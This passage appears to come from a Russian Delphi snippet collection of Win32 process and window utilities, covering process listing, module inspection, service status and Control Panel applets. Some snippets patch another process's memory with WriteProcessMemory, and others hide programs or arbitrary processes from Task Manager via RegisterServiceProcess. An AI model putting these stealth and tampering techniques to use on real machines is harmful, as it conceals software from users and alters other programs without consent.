ShowChildWindows - указание на отображение в LIST имён дочерних окон;
ShowNoHeadWindows - отображение списка окон, без заголовков;
ShowMainWindows - отображение родительских окон.

Также для каждой строки списка LIST добавляется объект (Object),
который содержит указатель дескриптор окна.
При обнаружении недостатков, или вопиющей неоптимальности кода - пишите :)

Зависимости: sysutils, classes, windows, UBPFD.GetWordListFromText
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        02 мая 2002 г.
***************************************************** }

procedure GetWindowsList(List: TStrings; YourApplicationHandle: HWND;
  ShowOwnWindow, ShowInvisibleWindows, ShowChildWindows, ShowNoHeadWindows,
  ShowMainWindows: Boolean);
var
  Wnd: hWnd;
  buff: array[0..127] of Char;
  I: integer;
  CanShowIt: Boolean;
  WindowType, UnAcceptWinTypes: string;
  WordList: TStringList;
begin
  List.Clear;
  Wnd := GetWindow(YourApplicationHandle, gw_HWndFirst);
  WordList := TStringList.Create;
  while Wnd <> 0 do
  begin
    WindowType := '';
    if Wnd = YourApplicationHandle then
      WindowType := WindowType + ' own '; {собственное окно}
    if IsWindowVisible(Wnd) = null then
      WindowType := WindowType + ' invisible '; {-Невидимые окна}
    if GetWindow(Wnd, gw_child) <> 0 then
      WindowType := WindowType + ' child '; {-Дочерние окна}
    if GetWindowText(Wnd, buff, sizeof(buff)) = 0 then
      WindowType := WindowType + ' nohead '; {-Окна без заголовков}
    if GetWindow(Wnd, gw_Owner) <> 0 then
      WindowType := WindowType + ' main '; {-Главные окна}

    UnAcceptWinTypes := '';
    if ShowOwnWindow = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' own ';
    if ShowInvisibleWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' invisible ';
    if ShowChildWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' child ';
    if ShowNoHeadWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' nohead ';
    if ShowMainWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' main ';
    CanShowIt := True;
    GetWordListFromText(UnAcceptWinTypes, ' ', WordList, False, False);
    if WordList.Count > 0 then
    begin
      I := -1;
      repeat
        I := I + 1;
        if Pos(WordList.Strings[i], WindowType) > 0 then
          CanShowIt := False;
      until (I = WordList.Count - 1) or (CanShowIt = False);
    end;
    if CanShowIt = True then
    begin
      GetWindowText(Wnd, buff, sizeof(buff));
      I := List.Add(StrPas(buff));
      List.Objects[I] := Pointer(Wnd);
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
  WordList.Free;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetWindowsList(memo1.Lines, self.Handle, true, false, false, true, true);
end;
К заголовку




" Получение списка процессов в Windows 9x и NT
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка процессов в Windows 9x/NT

Определяет список модулей, запущенных в настоящее время в системе, и заносит их
имена в список TStrings. На Win9x использует функции ToolHelp32,
на NT/2000/XP - библиотеку PSAPI.dll

Зависимости: Windows, Classes, PSAPI, TlHelp32
Автор:       Евгений Пелега, drpass@mail.ru, Донецк
Copyright:   Евгений Пелега
Дата:        26 апреля 2002 г.
***************************************************** }

procedure GetProcessList(var sl: TStrings);
var
  pe: TProcessEntry32;
  ph, snap: THandle; //дескрипторы процесса и снимка
  mh: hmodule; //дескриптор модуля
  procs: array[0..$FFF] of dword; //массив для хранения дескрипторов процессов
  count, cm: cardinal; //количество процессов
  i: integer;
  ModName: array[0..max_path] of char; //имя модуля
begin
  sl.Clear;
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin //если это Win9x
    snap := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
    if integer(snap) = -1 then
    begin
      exit;
    end
    else
    begin
      pe.dwSize := sizeof(pe);
      if Process32First(snap, pe) then
        repeat
          sl.Add(string(pe.szExeFile));
        until not Process32Next(snap, pe);
    end;
  end
  else
  begin //Если WinNT/2000/XP
    if not EnumProcesses(@procs, sizeof(procs), count) then
    begin
      exit;
    end;
    for i := 0 to count div 4 - 1 do
    begin
      ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
        false, procs[i]);
      if ph > 0 then
      begin
        EnumProcessModules(ph, @mh, 4, cm);
        GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
        sl.Add(string(ModName));
        CloseHandle(ph);
      end;
    end;
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  tmp: TStrings;
begin
  tmp := memo1.Lines;
  GetProcessList(tmp);
end;
К заголовку




" Получить заголовки и названия классов форм активных процессов
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit MainFrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ComCtrls;

type

  { Define a record/class to hold the window name and class name for
    each window. Instances of this class will get added to ListBox1 }
  TWindowInfo = class
    WindowName, // The window name
    WindowClass: string; // The window's class name
  end;

  TMainForm = class(TForm)
    lbWinInfo: TListBox;
    btnGetWinInfo: TButton;
    hdWinInfo: THeaderControl;
    procedure btnGetWinInfoClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure lbWinInfoDrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure hdWinInfoSectionResize(HeaderControl: THeaderControl;
      Section: THeaderSection);
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

function EnumWindowsProc(Hw: HWnd; AMainForm: TMainForm): Boolean; stdcall;
{ This procedure is called by the User32.DLL library as it enumerates
  through windows active in the system. }
var
  WinName, CName: array[0..144] of char;
  WindowInfo: TWindowInfo;
begin
  { Return true by default which indicates not to stop enumerating
    through the windows }
  Result := True;
  GetWindowText(Hw, WinName, 144); // Obtain the current window text
  GetClassName(Hw, CName, 144); // Obtain the class name of the window
  { Create a TWindowInfo instance and set its fields with the values of
    the window name and window class name. Then add this object to
    ListBox1's Objects array. These values will be displayed later by
    the listbox }
  WindowInfo := TWindowInfo.Create;
  with WindowInfo do
  begin
    SetLength(WindowName, strlen(WinName));
    SetLength(WindowClass, StrLen(CName));
    WindowName := StrPas(WinName);
    WindowClass := StrPas(CName);
  end;
  MainForm.lbWinInfo.Items.AddObject('', WindowInfo); // Add to Objects array
end;

procedure TMainForm.btnGetWinInfoClick(Sender: TObject);
begin
  { Enumerate through all top-level windows being displayed. Pass in the
    call back function EnumWindowsProc which will be called for each
    window }
  EnumWindows(@EnumWindowsProc, 0);
end;

procedure TMainForm.FormDestroy(Sender: TObject);
var
  i: integer;
begin
  { Free all instances of TWindowInfo }
  for i := 0 to lbWinInfo.Items.Count - 1 do
    TWindowInfo(lbWinInfo.Items.Objects[i]).Free
end;

procedure TMainForm.lbWinInfoDrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
begin
  { First, clear the rectangle to which drawing will be performed }
  lbWinInfo.Canvas.FillRect(Rect);
  { Now draw the strings of the TWindowInfo record stored at the
    Index'th position of the listbox. The sections of HeaderControl1
    will give positions to which to draw each string }
  with TWindowInfo(lbWinInfo.Items.Objects[Index]) do
  begin
    DrawText(lbWinInfo.Canvas.Handle, PChar(WindowName),
      Length(WindowName), Rect, dt_Left or dt_VCenter);
    { Shift the drawing rectangle over by using the size
      HeaderControl1's sections to determine where to draw the next
      string }
    Rect.Left := Rect.Left + hdWinInfo.Sections[0].Width;
    DrawText(lbWinInfo.Canvas.Handle, PChar(WindowClass),
      Length(WindowClass), Rect, dt_Left or dt_VCenter);
  end;
end;

procedure TMainForm.hdWinInfoSectionResize(HeaderControl:
  THeaderControl; Section: THeaderSection);
begin
  lbWinInfo.Invalidate; // Force ListBox1 to redraw itself.
end;

end.
К заголовку




" Получить количество памяти, занимаемое процессом
// Works only on Windows NT systems (WinNT, Win2000, WinXP)

// Funktioniert nur unter Windows NT Systemen (WinNT, Win2000, WinXP)

uses psAPI;

 procedure TForm1.Button1Click(Sender: TObject);
 var
   pmc: PPROCESS_MEMORY_COUNTERS;
   cb: Integer;
 begin
   cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
   GetMem(pmc, cb);
   pmc^.cb := cb;
   if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then
     Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'
   else
     Label1.Caption := 'Unable to retrieve memory usage structure';

   FreeMem(pmc);
 end;
К заголовку




" Получить сведения о процессе
// Der Quellcode wurde von NicoDE (nico@bendlins.de) geschrieben.

{
  Diese Funktion schreibt alle Informationen uber den in Edit1.text angegeneben NT
  Prozess (ProzessID) in das Feld Memo1.
}

 {
  This function write all nt process informations into memo1. In Edit1 you can
  specify the processID.
}


 type
   PDebugModule = ^TDebugModule;
   TDebugModule = packed record
     Reserved: array [0..1] of Cardinal;
     Base: Cardinal;
     Size: Cardinal;
     Flags: Cardinal;
     Index: Word;
     Unknown: Word;
     LoadCount: Word;
     ModuleNameOffset: Word;
     ImageName: array [0..$FF] of Char;
   end;

 type
   PDebugModuleInformation = ^TDebugModuleInformation;
   TDebugModuleInformation = record
     Count: Cardinal;
     Modules: array [0..0] of TDebugModule;
   end;
   PDebugBuffer = ^TDebugBuffer;
   TDebugBuffer = record
     SectionHandle: THandle;
     SectionBase: Pointer;
     RemoteSectionBase: Pointer;
     SectionBaseDelta: Cardinal;
     EventPairHandle: THandle;
     Unknown: array [0..1] of Cardinal;
     RemoteThreadHandle: THandle;
     InfoClassMask: Cardinal;
     SizeOfInfo: Cardinal;
     AllocatedSize: Cardinal;
     SectionSize: Cardinal;
     ModuleInformation: PDebugModuleInformation;
     BackTraceInformation: Pointer;
     HeapInformation: Pointer;
     LockInformation: Pointer;
     Reserved: array [0..7] of Pointer;
   end;

 const
   PDI_MODULES = $01;
   ntdll = 'ntdll.dll';

 var
   HNtDll: HMODULE;

 type
   TFNRtlCreateQueryDebugBuffer = function(Size: Cardinal;
     EventPair: Boolean): PDebugBuffer;
    stdcall;
   TFNRtlQueryProcessDebugInformation = function(ProcessId,
     DebugInfoClassMask: Cardinal; var DebugBuffer: TDebugBuffer): Integer;
    stdcall;
   TFNRtlDestroyQueryDebugBuffer = function(DebugBuffer: PDebugBuffer): Integer;
    stdcall;

 var
   RtlCreateQueryDebugBuffer: TFNRtlCreateQueryDebugBuffer;
   RtlQueryProcessDebugInformation: TFNRtlQueryProcessDebugInformation;
   RtlDestroyQueryDebugBuffer: TFNRtlDestroyQueryDebugBuffer;

 function LoadRtlQueryDebug: LongBool;
 begin
   if HNtDll = 0 then
   begin
     HNtDll := LoadLibrary(ntdll);
     if HNtDll <> 0 then
     begin
       RtlCreateQueryDebugBuffer       := GetProcAddress(HNtDll, 'RtlCreateQueryDebugBuffer');
       RtlQueryProcessDebugInformation := GetProcAddress(HNtDll,
         'RtlQueryProcessDebugInformation');
       RtlDestroyQueryDebugBuffer      := GetProcAddress(HNtDll,
         'RtlDestroyQueryDebugBuffer');
     end;
   end;
   Result := Assigned(RtlCreateQueryDebugBuffer) and
     Assigned(RtlQueryProcessDebugInformation) and
     Assigned(RtlQueryProcessDebugInformation);
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 var
   DbgBuffer: PDebugBuffer;
   Loop: Integer;
 begin
   if not LoadRtlQueryDebug then Exit;

   Memo1.Clear;
   Memo1.Lines.BeginUpdate;
   DbgBuffer := RtlCreateQueryDebugBuffer(0, False);
   if Assigned(DbgBuffer) then
     try
       if RtlQueryProcessDebugInformation(StrToIntDef(Edit1.Text, GetCurrentProcessId),
         PDI_MODULES, DbgBuffer^) >= 0 then
       begin
         for Loop := 0 to DbgBuffer.ModuleInformation.Count - 1 do
           with DbgBuffer.ModuleInformation.Modules[Loop], Memo1.Lines do
           begin
             Add('ImageName: ' + ImageName);
             Add('  Reserved0: ' + IntToHex(Reserved[0], 8));
             Add('  Reserved1: ' + IntToHex(Reserved[1], 8));
             Add('  Base: ' + IntToHex(Base, 8));
             Add('  Size: ' + IntToHex(Size, 8));
             Add('  Flags: ' + IntToHex(Flags, 8));
             Add('  Index: ' + IntToHex(Index, 4));
             Add('  Unknown: ' + IntToHex(Unknown, 4));
             Add('  LoadCount: ' + IntToHex(LoadCount, 4));
             Add('  ModuleNameOffset: ' + IntToHex(ModuleNameOffset, 4));
           end;
       end;
     finally
       RtlDestroyQueryDebugBuffer(DbgBuffer);
     end;
   Memo1.Lines.EndUpdate;
 end;
К заголовку




" Приверить, запущен ли сервис
uses
  WinSvc;
function ServiceGetStatus(sMachine, sService: PChar): DWORD;
  {******************************************}
  {*** Parameters: ***}
  {*** sService: specifies the name of the service to open
  {*** sMachine: specifies the name of the target computer
  {*** ***}
  {*** Return Values: ***}
  {*** -1 = Error opening service ***}
  {*** 1 = SERVICE_STOPPED ***}
  {*** 2 = SERVICE_START_PENDING ***}
  {*** 3 = SERVICE_STOP_PENDING ***}
  {*** 4 = SERVICE_RUNNING ***}
  {*** 5 = SERVICE_CONTINUE_PENDING ***}
  {*** 6 = SERVICE_PAUSE_PENDING ***}
  {*** 7 = SERVICE_PAUSED ***}
  {******************************************}
var
  SCManHandle, SvcHandle: SC_Handle;
  SS: TServiceStatus;
  dwStat: DWORD;
begin
  dwStat := 0;
  // Open service manager handle.
  SCManHandle := OpenSCManager(sMachine, nil, SC_MANAGER_CONNECT);
  if (SCManHandle > 0) then
  begin
    SvcHandle := OpenService(SCManHandle, sService, SERVICE_QUERY_STATUS);
    // if Service installed
    if (SvcHandle > 0) then
    begin
      // SS structure holds the service status (TServiceStatus);
      if (QueryServiceStatus(SvcHandle, SS)) then
        dwStat := ss.dwCurrentState;
      CloseServiceHandle(SvcHandle);
    end;
    CloseServiceHandle(SCManHandle);
  end;
  Result := dwStat;
end;

function ServiceRunning(sMachine, sService: PChar): Boolean;
begin
  Result := SERVICE_RUNNING = ServiceGetStatus(sMachine, sService);
end;

// Check if Eventlog Service is running
procedure TForm1.Button1Click(Sender: TObject);
begin
  if ServiceRunning(nil, 'Eventlog') then
    ShowMessage('Eventlog Service Running')
  else
    ShowMessage('Eventlog Service not Running')
end;

{
  Windows 2000 and earlier: All processes are granted the SC_MANAGER_CONNECT,
  SC_MANAGER_ENUMERATE_SERVICE, and SC_MANAGER_QUERY_LOCK_STATUS access rights.

  Windows XP: Only authenticated users are granted the SC_MANAGER_CONNECT,
  SC_MANAGER_ENUMERATE_SERVICE,
  and SC_MANAGER_QUERY_LOCK_STATUS access rights.
}

{
  Do not use the service display name (as displayed in the services
  control panel applet.) You must use the real service name, as
  referenced in the registry under
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
}
К заголовку




" Пропатчить процесс
{....}

 var
   WindowName: Integer;
   ProcessId: Integer;
   ThreadId: Integer;
   buf: PChar;
   HandleWindow: Integer;
   Write: Cardinal;

    {....}

 const
   WindowTitle = 'a program name';
   Address = $A662D6;
   PokeValue = $4A;
   NumberOfBytes = 2;

    {....}


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   WindowName := FindWindow(nil, WindowTitle);

   if WindowName = 0 then
   begin
     MessageDlg('Program not running.', mtWarning, [mbOK], 0);
   end;

   ThreadId := GetWindowThreadProcessId(WindowName, @ProcessId);
   HandleWindow := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId);

   GetMem(buf, 1);
   buf^ := Chr(PokeValue);
   WriteProcessMemory(HandleWindow, ptr(Address), buf, NumberOfBytes, Write);
   FreeMem(buf);
   CloseHandle(HandleWindow);
 end;
К заголовку




" Просмотрщик запущенных процессов
Программа не видна по Ctrl+Alt+Del, и сама оттуда же может спрятать любой из процессов(правда, не все с самого начала
"светятся" по Ctrl+Alt+Del) или завершить его. Простой пример для знакомства с ToolHelp32.

В исходном коде есть недоработки, например, процедура Delproc получает в качестве параметра строку, затем переводит ее
в целочисленный тип(integer), хотя можно передавать сразу число. Заморочка была в проверке числа-индекса на подлинность,
а так как я выдрал часть кода из более ранней своей проги, я не стал это менять, а просто подогнал до рабочей версии.
Оптимизацией кода вы можете заняться сами по желанию(вы можете, если хотите, а если не хотите, то вы не обязаны, вы
посто могли бы... да... :))) Программа не работала в WinNT 4.0, но в Win9x работать должна.

unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, tlhelp32, StdCtrls, ComCtrls, Buttons;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Button1: TButton;
    Button2: TButton;
    Button4: TButton;
    Button5: TButton;
    StatusBar1: TStatusBar;
    Button6: TButton;
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
  private
    { Private declarations }
    procedure ListProcesses;
    procedure Delproc(numb: string);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  processID: array[1..50] of integer;

function RegisterServiceProcess(dwProcessID, dwType: integer): integer; stdcall;
  external 'kernel32.dll';

implementation

{$R *.DFM}

procedure TForm1.delproc(numb: string);
var
  c1: Cardinal;
  pe: TProcessEntry32;
  s1, s2: string;
  x: integer;
begin
  x := 0;
  try
    Strtoint(numb);
  except
    Statusbar1.SimpleText := 'Invalid number';
    exit;
  end;
  c1 := CreateToolHelp32Snapshot(TH32CS_SnapProcess, 0);
  if c1 = INVALID_HANDLE_VALUE then
  begin
    Statusbar1.SimpleText := 'Process listing failed';
    exit;
  end;
  try
    pe.dwSize := sizeof(pe);
    if Process32First(c1, pe) then
      repeat
        inc(x);
        s1 := ExtractFileName(pe.szExeFile);
        s2 := ExtractFileExt(s1);
        Delete(s1, length(s1) + 1 - length(s2), maxInt);
        if x = strtoint(numb) then
          if terminateprocess(OpenProcess(PROCESS_ALL_ACCESS, false,
            pe.th32ProcessID), 1) then
          begin
            Statusbar1.SimpleText := 'Process ' + s1 + ' terminated.';
          end
          else
            Statusbar1.SimpleText := ('Couldnt terminate process' +
              pe.szExeFile);
      until not Process32Next(c1, pe);
  finally CloseHandle(c1);
  end;
end;

procedure Tform1.ListProcesses;
var
  c1: Cardinal;
  pe: TProcessEntry32;
  s1, s2: string;
  x: integer;
begin
  X := 0;
  c1 := CreateToolHelp32Snapshot(TH32CS_SnapProcess, 0);
  if c1 = INVALID_HANDLE_VALUE then
  begin
    Statusbar1.SimpleText := ('Информация о процессах закрыта.');
    exit;
  end;
  try
    pe.dwSize := sizeof(pe);
    if Process32First(c1, pe) then
      repeat
        inc(x);
        s1 := ExtractFileName(pe.szExeFile);
        s2 := ExtractFileExt(s1);
        Delete(s1, length(s1) + 1 - length(s2), maxInt);
        Listbox1.Items.Add(Inttostr(x) + '  ' + s1 + '  :  ' + pe.szExeFile);
        ProcessId[x] := pe.th32ProcessID;
        //ListBox1.Items.Add(inttostr(pe.th32ProcessID));
      until not Process32Next(c1, pe);
  finally CloseHandle(c1);
  end;

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Close;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Button1.Enabled := false;
  Button5.Enabled := false;
  Button6.Enabled := false;
  ListProcesses;
  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Listbox1.Clear;
  ListProcesses;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  p: integer;
begin
  //hide
  with Listbox1 do
    p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(ProcessID[p], 1);
  with Listbox1 do
    StatusBar1.SimpleText := (Listbox1.items[itemindex] + ' hidden');
end;

procedure TForm1.Button5Click(Sender: TObject);
var
  p: integer;
begin
  //show
  with Listbox1 do
    p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(ProcessID[p], 0);
  with Listbox1 do
    StatusBar1.SimpleText := (Listbox1.items[itemindex] + ' shown');
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  Button1.Enabled := true;
  Button5.Enabled := true;
  Button6.Enabled := true;
end;

procedure TForm1.Button6Click(Sender: TObject);
var
  p: integer;
begin
  with Listbox1 do
    p := Listbox1.Items.IndexOf(Listbox1.items[itemindex]) + 1;
  delproc(inttostr(p));
end;

end.
К заголовку




" Прячем программу для TaskManager
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Прячет программу в TaskManager (по Ctrl+Alt+Del)

Фунция прячет программу для TaskManager, регестрируя ее как сервис.
Запускать из приложения.
Передаешь true для регистрации сервиса, false для снятия регистрации.
Возвращает true если успешно.
В win95-98-ME программа исчезнет из списка задач.
В NT/2000/XP просто нет RegisterServiceProcess и функция вернет
false без возникновения ошибки.

Зависимости: *
Автор:       Subfire, subfire@mail.ru, ICQ:55161852, Санкт-Петербург
Copyright:   Subfire
Дата:        3 октября 2002 г.
***************************************************** }

function RegisterAsService(Enable: Boolean): boolean;
type
  TRSP = function(H: THandle; K: word): longword; stdcall;
var
  RSP: TRSP;
begin
  @RSP := GetProcAddress(GetModuleHandle(PChar('kernel32.dll')),
    PChar('RegisterServiceProcess'));
  Result := Assigned(@RSP);
  if Result then
  begin
    if Enable then
      Result := (RSP(0, 1) = 1)
    else
      Result := (RSP(0, 0) = 1);
  end;

Пример использования:

// OnCreate
RegisterAsService(True); // Спрятали

// on **
RegisterAsService(False); // Показали
К заголовку




" Свои апплеты в панели управления
Апплеты в панели управления, это обычные DLL, имеющие расширение .cpl (Control Panel Library) и располагающиеся в
системной директории Windows. В свою очередь, в каждом файле cpl может храниться несколько апплетов. Cpl имеет
единственную функцию точки входа CPlApplet(), через которую поступают все сообщения от панели управления.

Давайте рассмотрим сообщения, с которыми панель управления вызывает функцию CPlApplet():

    * CPL_INIT - сообщение, которым CPlApplet() вызывается первый раз (инициализация). Возвращаем TRUE для продолжения
процесса загрузки.
    * CPL_GETCOUNT - этим сообщением панель управления запрашивает количество поддерживаемых апплетов в файле cpl.
    * CPL_INQUIRE - панель управления запрашивает информацию о каждом апплете, хранящемся в файле cpl. При этом,
параметр lParam1 будет содержать номер апплета, о котором панель управления хочет получить информацию, lParam2
будет указывать на структуру TCplInfo. Поле idIcon в структуре TClpInfo должно содержать идентификатор (id) ресурса
иконки, которая будет отображаться в панели управления, а поля idName и idInfo должны содержать идентификаторы
строковых ресурсов для имени и описания. lData может содержать данные, которые будут использоваться апплетом.
    * CPL_SELECT - это сообщение посылается апплету, если его иконка была выбрана пользователем. При этом lParam1
содержит номер выбранного апплета, а lParam2 содержит значение lData, определённое для данного апплета.
    * CPL_DBLCLK - это сообщение будет послано, если по иконке апплета сделать двойной щелчёк. lParam1 будет
содержать номер апплета, а lParam2 будет содержать значение lData, определённое для данного апплета. При поступление
это сообщения апплет должен как-то показать себя, в частности отобразить своё диалоговое окно.
    * CPL_STOP - Посылается каждому апплету, когда панель управления закрывается. lParam1 содержит номер апплета, а
lParam2 содержит значение lData, определённое для данного апплета.
    * CPL_EXIT - Посылается перед тем, как панель управления вызовет FreeLibrary.
    * CPL_NEWINQUIRE - тоже, что и CPL_INQUIRE за исключением того, что lParam2 указывает на структуру NEWCPLINFO.

Итак, приступим. Для начала необходимо создать файл ресурсов, содержащий таблицу строк для имени и описания Вашего
апплета(ов), а также иконки для каждого апплета (если у Вас их будет несколько).

Пример .rc файла содержит таблицу строк, состоящую из двух строк, и указатель на файл с иконкой:

STRINGTABLE
{
1, "TestApplet"
2, "My Test Applet"
}

2 ICON C:\SOMEPATH\CHIP.ICO

Чтобы преобразовать файл .rc в .res, (который можно будет спокойно прилинковать к Вашему приложению) достаточно
просто указать в командной строке полный путь до компилятора ресурсов и полный путь до файла .rc:

c:\Delphi\Bin\brcc32.exe c:\Delphi\MyRes.rc

После того, как компиляция будет завершена, то Вы получите новый файл, с таким же именем, что и .rc, только с
расширением ".res".

Следующий пример, это апплет панели управления, который в ответ на сообщение CPL_DBLCLK запускает блокнот. Код
можно легко изменить, чтобы отображалась форма или диалоговое окошко. Этот код можно компилировать как под
платформу Win32, так и под Win16.

Чтобы скомпилировать проект, необходимо из вышеприведённого файла .rc создать два: TCPL32.RES и TCPL16.RES.

library TestCpl;

{$IFDEF WIN32}
uses
  SysUtils,
  Windows,
  Messages;
{$ELSE}
uses
  SysUtils,
  WinTypes,
  WinProcs,
  Messages;
{$ENDIF}

{$IFDEF WIN32}
{$R TCPL32.RES}
{$ELSE}
{$R TCPL16.RES}
{$ENDIF}

const
  NUM_APPLETS = 1;

{$IFDEF WIN32}
const
  CPL_DYNAMIC_RES = 0;
{$ENDIF}
const
  CPL_INIT = 1;
const
  CPL_GETCOUNT = 2;
const
  CPL_INQUIRE = 3;
const
  CPL_SELECT = 4;
const
  CPL_DBLCLK = 5;
const
  CPL_STOP = 6;
const
  CPL_EXIT = 7;
const
  CPL_NEWINQUIRE = 8;
{$IFDEF WIN32}
const
  CPL_STARTWPARMS = 9;
{$ENDIF}
const
  CPL_SETUP = 200;

{$IFNDEF WIN32}
type
  DWORD = LongInt;
{$ENDIF}

type
  TCplInfo = record
    idIcon: integer;
    idName: integer;
    idInfo: integer;
    lData: LongInt;
  end;
  PCplInfo = ^TCplInfo;

type
  TNewCplInfoA = record
    dwSize: DWORD;
    dwFlags: DWORD;
    dwHelpContext: DWORD;
    lData: LongInt;
    IconH: HIcon;
    szName: array[0..31] of char;
    szInfo: array[0..63] of char;
    szHelpFile: array[0..127] of char;
  end;
  PNewCplInfoA = ^TNewCplInfoA;

{$IFDEF WIN32}
type
  TNewCplInfoW = record
    dwSize: DWORD;
    dwFlags: DWORD;
    dwHelpContext: DWORD;
    lData: LongInt;
    IconH: HIcon;
    szName: array[0..31] of WChar;
    szInfo: array[0..63] of WChar;
    szHelpFile: array[0..127] of WChar;
  end;
  PNewCplInfoW = ^TNewCplInfoW;
{$ENDIF}

type
  TNewCplInfo = TNewCplInfoA;
type
  PNewCplInfo = ^TNewCplInfoA;

function CPlApplet(hWndCPL: hWnd;
  iMEssage: integer;
  lParam1: longint;
  lParam2: longint): LongInt
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
  case iMessage of
    CPL_INIT:
      begin
        Result := 1;
        exit;
      end;
    CPL_GetCount:
      begin
        Result := NUM_APPLETS;
        exit;
      end;
    CPL_Inquire:
      begin
        PCplInfo(lParam2)^.idIcon := 2;
        PCplInfo(lParam2)^.idName := 1;
        PCplInfo(lParam2)^.idInfo := 2;
        PCplInfo(lParam2)^.lData := 0;
        Result := 1;
        exit;
      end;
    CPL_NewInquire:
      begin
        PNewCplInfo(lParam2)^.dwSize := sizeof(TNewCplInfo);
        PNewCplInfo(lParam2)^.dwHelpContext := 0;
        PNewCplInfo(lParam2)^.lData := 0;
        PNewCplInfo(lParam2)^.IconH := LoadIcon(hInstance,
          MakeIntResource(2));
        lStrCpy(@PNewCplInfo(lParam2)^.szName, 'TestCPL');
        lStrCpy(PNewCplInfo(lParam2)^.szInfo, 'My Test CPL');
        PNewCplInfo(lParam2)^.szHelpFile[0] := #0;
        Result := 1;
        exit;
      end;
    CPL_SELECT:
      begin
        Result := 0;
        exit;
      end;
    CPL_DBLCLK:
      begin
        WinExec('Notepad.exe', SW_SHOWNORMAL);
        Result := 1;
        exit;
      end;
    CPL_STOP:
      begin
        Result := 0;
        exit;
      end;
    CPL_EXIT:
      begin
        Result := 0;
        exit;
      end
  else
    begin
      Result := 0;
      exit;
    end;
  end;
end;

exports CPlApplet name 'CPlApplet';

begin
end.
К заголовку




" Связь между процессами при помощи WM_COPYDATA
// Sender: Send data
// Sender: Daten schicken

procedure TForm1.Button1Click(Sender: TObject);
 var
   aCopyData: TCopyDataStruct;
   hTargetWnd: HWND;
 begin
   with aCopyData do
   begin
     dwData := 0;
     cbData := StrLen(PChar(Edit1.Text)) + 1;
     lpData := PChar(Edit1.Text)
   end;
   // Search window by the window title
  // Fenster anhand des Titelzeilentext suchen
  hTargetWnd := FindWindowEx(0, 0, nil, PChar('WM_COPYDATA-Receiver'));
   if hTargetWnd <> 0 then
     SendMessage(hTargetWnd, WM_COPYDATA, Longint(Handle), Longint(@aCopyData))
   else
     ShowMessage('No Recipient found!');
 end;


 (* -------------------------------------------------------------------- *)


 // Recipient - Receive data
// Empfanger - Daten empfangen

type
   TForm1 = class(TForm)
     private
     { Private declarations }
     procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;
   public
     { Public declarations }
   end;

 procedure TForm1.WMCopyData(var Msg: TWMCopyData);
 var
   sText: array[0..99] of Char;
 begin
   // generate text from parameter
  // anzuzeigenden Text aus den Parametern generieren
  StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData);
   // write received text
  // Empfangenen Text ausgeben
  label1.Caption := sText;
 end;
К заголовку




" Скрытие или отображение процесса из списка процессов
{ **** UBPFD *********** by delphibase.endimus.com ****
>> СКРЫТИЕ или отображение процесса из списка ctrl+alt+del

СКРЫТИЕ или отображение процесса в списке ctrl+alt+del

ПРАВИЛА ИСПОЛЬЗОВАНИЯ:

ДЛЯ скрытия собственного приложения из списка процессов, отображаемых
при нажатии CTRL+ALT+DEL, вызывайте функцию ShowHideInCad со следующими
параметрами:

ShowHideInCad (TakeMyApplicationProcessID, False) - и название Вашего
приложения будет скрыто из списка CTRL+ALT+DEL

ДЛЯ скрытия процесса чужого приложения, вызывайте функцию с такими
параметрами:

ShowHideInCAD (TakeProcessID('Заголовок окна скрываемого приложения'), FALSE)

Зависимости: windows
